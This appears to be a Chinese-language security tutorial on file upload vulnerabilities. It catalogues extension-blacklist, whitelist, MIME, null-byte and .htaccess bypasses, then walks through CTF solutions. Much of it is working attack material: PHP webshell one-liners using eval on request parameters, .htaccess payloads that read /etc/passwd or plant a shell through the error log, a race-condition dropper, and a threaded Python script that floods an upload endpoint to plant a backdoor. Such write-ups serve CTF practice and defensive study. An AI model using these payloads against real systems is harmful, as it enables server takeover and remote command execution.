当前位置: 首页 > article >正文

文件上传漏洞总结

文章目录

  • 文件上传漏洞
      • 原因
      • Webshell
  • 攻击方式:
    • 0x01绕过前端限制
    • 0x02黑名单绕过
      • 1.特殊解析后缀绕过
      • 2..htaccess解析绕过
      • 3.大小写绕过
      • 4.点绕过
      • 5.空格绕过
      • 6.::$DATA绕过
      • 7.配合中间件解析漏洞
      • 8.双后缀名绕过
      • 9.短标签绕过
    • 0x03白名单绕过
      • 1.MIME绕过(Content-Type绕过)
      • 2.%00截断
      • 3.0x00截断
      • 4.0x0a截断
    • 0x04内容及其它绕过
      • 1.文件头检测绕过
      • 2.二次渲染绕过
      • 3.条件竞争
      • 4.添加大量垃圾字符绕过
      • 5.突破getimagesize
      • 6.突破exif_imagetype
    • 题目练习
        • [FSCTF 2023]加速加速
        • [UUCTF 2022 新生赛]uploadandinject

文件上传漏洞

文件上传漏洞是 Web 安全中的一种常见问题,攻击者通过上传恶意文件(如脚本文件)来实现服务器控制、敏感信息窃取或其他恶意操作。这种漏洞通常源于开发者在文件上传功能设计中的安全意识不足。

原因

  • 后缀名限制不足:未对上传文件的后缀名(扩展名)进行严格限制。
  • MIMETYPE 检查缺失:未校验上传文件的 MIMETYPE(用于描述文件类型的一种方式)。
  • 权限设置不当:上传文件目录未设置不可执行权限(尤其是针对 shebang 类型文件)。
  • Web 服务器行为未限制:未对 Web 服务器对上传文件或指定目录的行为进行有效限制。

Webshell

Webshell 是一种以 ASP、PHP、JSP、ASPX 等网页文件形式存在的命令执行环境,也被称为“后门”。

攻击方式:

0x01绕过前端限制

当表单中调用js函数来检查上传文件拓展名时,客户端还没向服务器发送任何消息,就对本地文件进行检测判断是否是可以上传的类型,这种方法就是前端限制。

绕过方法:
1.F12修改js上传方法或通过改包工具修改上传(如bp)
2.如果是js脚本检测,F12->F1 禁用js即可绕过

0x02黑名单绕过

1.特殊解析后缀绕过

语言默认可解析后缀盲猜绕过可解析后缀
asp.net【IIS】asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php.php .html .htm 【apache】php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp*.jsp *.jspx 【tomcat】jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

2…htaccess解析绕过

.htaccess文件(分布式配置文件):提供针对目录改变配置的方法。即在特定的文档目录放置一个包含指令的文件,以此作用于目录及其子目录
利用方式:
1.文件解析

<FileMatch "shell.jpg"> //将目录下的shell.jpg图片当作php脚本解析并执行
SetHandler application/x-httpd-php
</FileMatch>
    或者
AddType application/x-httpd-php .aaa //上传.aaa后缀文件,让其作为php类型文件并解析

2.文件包含
在本地文件包含中可以通过php_value来设置auto_prepend_file或auto_append_file包含一些敏感文件
例:

auto_prepend_file
php_value auto_prepend_file /etc/passwd
    
auto_append_file
php_value auto_append_file /etc/passwd
例题payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

3.源码泄露
利用php_flag将engine设置为0,在本目录和子目录中关闭php解析,造成源码泄露 php_flag engine 0

4.代码执行
利用伪协议 all_url_fopen 、all_url_include为On 解析.htaccess

(1)
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
(2.1)
php_value auto_append_file .htaccess
#<?php phpinfo();
(2.2)
这种适合同目录或子目录没有 php 文件。
需要先设置允许可访问 .htaccess 文件

Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>
将 .htaccess指定当做 php文件处理

SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

5.命令执行

CGI

6.XSS

利用highlight_file

.htaccess
php_value highlight.comment '"><script>alert(1);</script>'

index.php
<?php
highlight_file(__FILE__);
// comment
其中的 highlight.comment 也可以换成如下其他选项
index.php :
<?php
include('foo');#foo报错
.htaccess
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

7.自定义错误文件

error.php
<?php include('shell');#报错页面

.htaccess
php_value error_log /tmp/www/html/shell.php 
php_value include_path "<?php phpinfo(); __halt_compiler();"

访问 error.php,会报错并记录在 shell.php 文件中

因为会经过 html 编码,所以需要 UTF-7 来绕过。

.htaccess

# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

3.大小写绕过

由于黑名单过滤不全,未对后缀名大小写进行统一

4.点绕过

windows系统下,文件后缀名最后一个点会被自动去除
linux系统下,文化后缀名最后一个点不会被自动去除
所以在windows系统下利用bp截断http请求,在上传文件后缀后加.绕过上传
例如: demo.php.

5.空格绕过

windows系统下,对于文件名【demo.php(空格)】会被当作空处理,检测代码不能自动删除空格,从而绕过黑名单。文件上传后,会自动删除空格

6.::$DATA绕过

windows系统下,上传的文件名为a.php::$DATA 会在服务器上生成一个a.php文件,其中内容与上传的的内容相同并被解析

7.配合中间件解析漏洞

8.双后缀名绕过

过滤代码对文件名称进行敏感字符清除时使用

9.短标签绕过

<script language="php">phpinfo();</script>    #phpinfo()可以替换成想要执行的代码

0x03白名单绕过

1.MIME绕过(Content-Type绕过)

通过抓包,修改Content-Type类型为指定类型
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
也可以使用短标签,然后访问对应路径
GIF89a?<?= `cat /f*`;?>
为了节约长度也可以使用BM
BM<?=tac /f*;

2.%00截断

%00跟随url发送到服务器后被解码,这时还没传到验证函数,即验证函数接收到的是**%00被解码后的内容

**%00  ->0x00**

原理:

无论是0x00还是%00最终都会被解析成chr(0)  而0对于的字符是NULL,即空字符
当一个字符串中存在空字符时,空字符后面的字符会被丢弃
例如:文件1.php.jpg插入空字符变成1.php0x00.jpg,解析之后只剩1.php

%00截断只能绕过前端校验,有时%00会被档子字符串,可以通过对%00进行url编码或者用bp将hex的值修改为00
%00可以截断后端路径

3.0x00截断

0x00表示ascii码为0的字符,一些函数处理时,会把这个字符作为结束符,且这个00是文件十六进制中的00而不是文件名的00

4.0x0a截断

0x0a表示ascii码为/n的换行字符

0x04内容及其它绕过

1.文件头检测绕过

1.将马写入txt文件中,改为png后缀,然后用010在文件前面加上对应的图片头。
2.或Bp抓包,然后修改文件后缀
3.或

## ma.png 为要上传的图片【必须加/b】;
## 1.php 为一句话木马【必须加/a】;
## new 为重新定义的文件名;
copy ma.png/b+1.php/a new.png

2.二次渲染绕过

gif

渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可
image-20241028132146031

png

PNG 没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

jpg

JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试 

3.条件竞争

以一个木马文件上传的实验为例

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

白名单判断是否为jpg、png、gif的一种,如果不是则会进行unlink删除操作。这里可以利用条件竞争在判断白名单和unlink操作之间上串木马。

先将php语句写入shell.php中

aaa<?php fputs(fopen("rv1nm4.php","w"), '<?ph ·eval($_POST[rv1nm4]);?>');?>

fopen()作用是打开一个名为rv1nm4.php文件,如果没有则创建该文件,第二个参数w表示以写入模式打开文件

fputs()将字符串写入到打开的文件中。并且包含一些特殊字符,如 <? · ; ?>

shell.php执行后新建rv1nm4.php文件并写入一句话木马,作用是当上传的shell.php文件被删除后,后端还会存在r1nm4.php后门,方便连接.

接下来抓取上传shell.php的包,发送到intruder模块,配置相关payloads,选择Null payloads并勾选无限重放(最好设置多线程,增加条件竞争成功的可能性),之后就是自动重放的过程

编写脚本检测条件竞争是否成功

url="http://127.0.0.1/upload-labs/upload/shell.php"
while True:
    html=requests.get(url)
    if html.status_code==200:
        print("YES,you upload it")
    else:
        print("NO")

4.添加大量垃圾字符绕过

例如:BuildCTF ez_waf

可以上传php 但是检测文件内容
利用大文件(增加脏数据,使得溢出)
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

5.突破getimagesize

getimagegesize()函数用于获取图像代销及相关信息,如果成功就返回一个数组,失败则返回一个错误信息。总之是一个判断图片大小和类型的一个函数,也避免了直接更改后缀名的绕过。

6.突破exif_imagetype

题目练习

[FSCTF 2023]加速加速

直接通过脚本

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
 url = 'http://node4.anna.nssctf.cn:28352/index.php'
 files = {'upload_file': (
 'puu.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>' ); ?>")}
 data = {'submit': '上传'}
 r = requests.post(url=url, data=data, files=files)
 re = requests.get('http://node4.anna.nssctf.cn:28352/upload/puu.php')
 if re.status_code == 200:
  print('上传成功')
if __name__ == '__main__':
 with ThreadPoolExecutor(50) as p:
  p.map(td, range(2000))

然后访问shell.php,传参执行命令即可

[UUCTF 2022 新生赛]uploadandinject

考点:LD_PRELOAD劫持
LD_PRELOAD劫持

LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数.
image-20240829204848934

提示看hint.php
内容:nothing here,but I think you look look JPG,index's swp
提示我们看swp文件(Linux vim产生的文件)

http://node5.anna.nssctf.cn:28853/.index.php.swp下载.index.php.swp,
直接打开发现内容破损,使用vim恢复文件vim -r index.php.swp
内容如下:

$PATH=$_GET["image_path"];
if((!isset($PATH))){
    $PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
  if(file_exists($img_path)){
      //设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so  LD_PRELOAD设置的优先加载动态链接库 
    putenv("LD_PRELOAD=/var/www/html/$img_path");
    system("echo Success to load");
    echo "<br><img src=$img_path>";
  }else{
    system("echo Failed to load ");
  }
}

可以上传文件


http://www.kler.cn/a/461417.html

相关文章:

  • Rust 泛型、特征与生命周期详解
  • “AI智慧教学系统:开启个性化教育新时代
  • leetcode hot100_part08_二叉树(完)
  • MATLAB画柱状图
  • 【51项目】51单片机自制小霸王游戏机
  • [最佳方法] 如何将视频从 Android 发送到 iPhone
  • 深入理解 Spring Cloud 中的 Eureka、Ribbon 和 Feign
  • Tcpdump 高级过滤器
  • Android学习小记2
  • leetcode 23.合并K个升序链表
  • Zabbix企业级分布式监控系统
  • STM32单片机芯片与内部53 AT24C02读写原理 模拟IIC 标准库 HAL库
  • el-input输入框需要支持多输入,最后传输给后台的字段值以逗号分割
  • 智慧社区养老服务平台(源码+文档+部署+讲解)
  • C语言自定义类型
  • 字节跳动Java开发面试题及参考答案(数据结构算法-手撕面试题)
  • 【网络云SRE运维开发】2024第52周-每日【2024/12/31】小测-计算机网络参考模型和通信协议的理论和实操考题-简要解析
  • AI替换:FaceFusion4.1.0 更新内容和软件
  • STM32 IAP技术 bootloader设计
  • 好用的随机生成图片的网站
  • Ae:项目设置 - 音频
  • π₀:基于VLM的多任务具身操作基础模型
  • View Shadcn UI 正式版本 v2024.5.4 发布
  • C++【内存管理】
  • golang中的错误处理机制
  • Fetch处理大模型流式数据请求与解析